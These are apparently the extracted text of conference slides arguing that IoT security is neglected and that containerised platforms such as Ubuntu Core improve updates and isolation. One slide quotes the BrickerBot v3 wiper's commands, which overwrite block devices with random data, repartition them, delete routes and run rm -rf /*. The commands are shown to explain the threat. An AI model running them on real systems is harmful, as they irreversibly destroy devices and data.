Internet of Shit

The ”S” in “IoT” stands for ”Security”
I’m:
- Andy
- Dev-like
- Sec-ish
- Ops-y
Viktor (@vpeterssson)
● Entrepreneur, geek, tinkerer
● Mediocre developer
● OK-ish at DevOps
● Founder of Screenly (and a few other things)
remote display management
Digital signage made easy
The sad state of "smart" devices

- **How long you've had your smart appliance:**
  - 6 months
  - 1 year
  - 5 years
  - 10 years

- **Best-case:**
  - You're constantly being rescued from peril by a faceless team of engineers who could wander away at any time.

- **Worst-case:**
  - Your appliance is part of a botnet run by organized crime.

© xkcd
“The Internet of Things is a science project focused on creating the most complex way possible of turning the lights on.”

@domguinard
The thermostat is restarting. Back in a bit.
SYSTEM IS BOOTING
PLEASE WAIT...
FW VER 5.0.0-17
POORNHUB
POORNHUB
WHY ISNT GOOGLE WORKING
HOW TO DELETE TEXT
A problem has been detected to your computer.

A process or thread has terminated.

If this is the first time you have seen this message, restart your computer and then contact your system administrator.

If this is a new instance of the message, check to make sure any new software or drivers have been installed correctly.

If problems continue, check any system and security updates.

If you need to use safe mode to remove software that may be causing problems, press F8 when you boot your computer, select Safe Mode.

Technical information:

*** STOP: 0x000000F4
x800000FC4270)
https://www.theregister.co.uk/2016/03/25/vnc_roulette/
What This Talk is About

- IoT: The State of the Art
- How Containers Can Help
- Botnets and Brickerbots
- Building Better Devices
IoT: The State of the Art
<table>
<thead>
<tr>
<th>SEEN</th>
<th>VERS</th>
<th>ADDRESS</th>
<th>RSSI</th>
<th>MANUF</th>
<th>RANGE</th>
</tr>
</thead>
<tbody>
<tr>
<td>+8s</td>
<td>BTLE</td>
<td>G:6F:4C:B4:5F:02</td>
<td>-60</td>
<td>Logitech</td>
<td>10</td>
</tr>
<tr>
<td>+8s</td>
<td>BTLE</td>
<td><strong>:</strong>:26:8A:**</td>
<td>-62</td>
<td>Logitech</td>
<td>10</td>
</tr>
<tr>
<td>+2s</td>
<td>BTLE</td>
<td><strong>:</strong>:26:8B:**</td>
<td>-68</td>
<td>Unknown</td>
<td>10</td>
</tr>
<tr>
<td>+2s</td>
<td>BTLE</td>
<td><strong>:</strong>:0C:79:**</td>
<td>-70</td>
<td>Logitech</td>
<td>10</td>
</tr>
<tr>
<td>-2s</td>
<td>BTLE</td>
<td><strong>:</strong>:16:C4:**</td>
<td>-71</td>
<td>Unknown</td>
<td>10</td>
</tr>
<tr>
<td>+9s</td>
<td>LE4.0</td>
<td><strong>:</strong>:23:2C:**</td>
<td>-73</td>
<td>Unknown</td>
<td>10</td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>:</strong>:C8:F6:**</td>
<td>-74</td>
<td>iBeacon</td>
<td>10</td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>:</strong>:0D:A2:**</td>
<td>-74</td>
<td>RivieraWaves S.A.S</td>
<td>10</td>
</tr>
</tbody>
</table>
this is the first time
start your computer. If
ese steps:
check for viruses on your
ard drives or hard drive
ake sure it is proper
CHKDSK /F to check for
start your computer.
How We Think IoT Devices Run
How IoT Devices Actually Run
“Why everybody trying to break internet?”
Blockchain all da thingz!
Containers and IoT
Containers to the Rescue!
Modern IoT Operating Systems

eliot   Core   resin.io

MENDER

Screenly

controlplane
<table>
<thead>
<tr>
<th>OS</th>
<th>OTA</th>
<th>Process Isolation</th>
<th>State</th>
</tr>
</thead>
<tbody>
<tr>
<td>resin.io</td>
<td>X</td>
<td>X</td>
<td>Stable</td>
</tr>
<tr>
<td>Ubuntu Core</td>
<td>X</td>
<td>X</td>
<td>Stable</td>
</tr>
<tr>
<td>eliot</td>
<td>X</td>
<td>X</td>
<td>Proof of Concept</td>
</tr>
<tr>
<td>Mender</td>
<td>X</td>
<td>-</td>
<td>Beta (?)</td>
</tr>
<tr>
<td>ACRN</td>
<td>-</td>
<td>X</td>
<td>Beta (?)</td>
</tr>
</tbody>
</table>
Container Oriented IoT

Scheduler / Management

App container

Kernel
● “git push master resin”
● Yocto based
● Application isolated
● Isolation tool: Balena
eliot

- Alpha
- Heavily inspired by CoreOS / Kubernetes
- Isolation tool: Docker
[ernoapa:~]$ eli run -i -t ernoapa/hello-world
  ✓ Discovered 1 device(s) from network

Hello world!
Hello world!
Hello world!
^C
SIGINT received! I will stop the process now...

✓ Deleted pod [eliot]
Core

- Smaller footprint than “Classic”
- Lots of “read-only”
- Interfaces, slots and plugs
- Snaps, Docker and LXD
- (Primary) Isolation tool: AppArmor
Core - Untrusted Domain
Core - Untrusted Domain

- Restricted host filesystem access
- Restricted host APIs
- Restricted to application-specific user data
- More isolation than a rogue nation state
Untrusted Domain

- Restricted host filesystem access
- Restricted host APIs
- Restricted to application-specific user data
- More isolation than a rogue nation state
- Possible GDPR compliance
Core - Trusted Domain

- Built from the Ubuntu archive
- Archive integrity guaranteed by package maintainers
- May or may not run confined
  - Access to resource or data in the user’s session
  - Limited system service access (DAC/capability/policy permitting)
Trusted Domain

Install

foo packaging
  name: foo
  apps:
    bar:
      plugs:
        - qux
        - network

baz packaging
  name: baz
  apps:
    norf:
      daemon: dbus
      slots:
        - qux

Runtime

bar process' sandbox
  SecPolicyID: snap.foobar
  SNAP_REVISION: 7
  SNAP: /snap/foo/7

AppA process' sandbox
  SecPolicyID: snap.appA

AppB process' sandbox
  SecPolicyID: snap.appB

AppD process' sandbox
  SecPolicyID: snap.appD

AppC process' sandbox
  SecPolicyID: snap.appC

Ubuntu Core

snapd

Kernel (AppArmor, seccomp, cgroups, etc)

dbus

glibc

systemd

DDoS Attack from hacked IoT Device

**Attack vector**
- Compromised Control Server
- Man-in-the-middle attack
- Corrupt firmware with hacked update
- Hack through default password
- Embed malware via SSH/Telnet
- Hack device through JTAG & open ports

**Insecure communication**

**Attack**
- Launch DDoS attack
- Send data to unauthorized control server
- Infect other IoT devices

**Vulnerable firmware**
- Poor authentication
- Compromised OS & tools
- Insecure chipsets

**IoT device**

---

GAME OVER

Would you like to continue?
# BrickerBot v3 device logic

$ busybox cat /dev/urandom >/dev/mtdblock0 &
$ busybox cat /dev/urandom >/dev/sda &
$ busybox cat /dev/urandom >/dev/mtdblock10 &
$ busybox cat /dev/urandom >/dev/mmc0 &
$ busybox cat /dev/urandom >/dev/sdb &
$ busybox cat /dev/urandom >/dev/ram0 &
$ busybox cat /dev/urandom >/dev/mtd0 &
$ busybox cat /dev/urandom >/dev/mtd1 &
$ busybox cat /dev/urandom >/dev/mtdblock1 &
$ busybox cat /dev/urandom >/dev/mtdblock2 &
$ busybox cat /dev/urandom >/dev/mtdblock3 &
$ fdisk -C 1 -H 1 -S1 /dev/mtd0
   w
$ fdisk -C 1 -H 1 -S1 /dev/mtd1
   w
$ fdisk -C 1 -H 1 -S1 /dev/sda
   w
$ fdisk -C 1 -H 1 -S1 /dev/mtdblock0
   w
$ route del default;iproute del default;ip route del default; rm -rf /* 2>/dev/null &
sysctl -w net.ipv4.tcp_timestamps=0;sysctl -w kernel.threads-max=1
$ halt -n -f
$ reboot
Defence Against the Dark Botnets
RISE OF THE HACKERS

Source: Carna Botnet
1 Tbps DDoS Attack
Powered By 150,000 Hacked IoT Devices
Massive DDoS Attack

Spotify, Twitter, Github, Etsy, and More Go Offline
Building Better IoT Devices
RACE TO THE BOTTOM

3, 2, 1... GO!

The Secret of Getting...
Device life cycle
Common mistakes
Designing Better IoT Devices
Kubernetes? Istio? VirtualKubelet?
Azure IoT Edge Connector for Kubernetes

https://github.com/Azure/iot-edge-virtual-kubelet-provider
Lessons learned from Screenly
Screenly 1 Player

+ debian + p + Glue-All + SECRET SAUCE
Screenly 2 Player criteria

- Disk images built on CI
- Process isolation (perhaps using containers)
- Transactional updates (app and OS)
  - Automatic roll-back
- Not having to manage the OS layer ourselves
  - Must be locked down/Hardened by default
- **Bonus:** Cryptographically signed updates
Screenly 2 Player

+ Ubuntu Core

[Icons and logos]
Recap
Conclusion

- IoT security is an afterthought at best
- The new breed of containerised IoT platforms greatly enhance the update and security story
- We can fix life cycle and runtime security
- Patch your devices!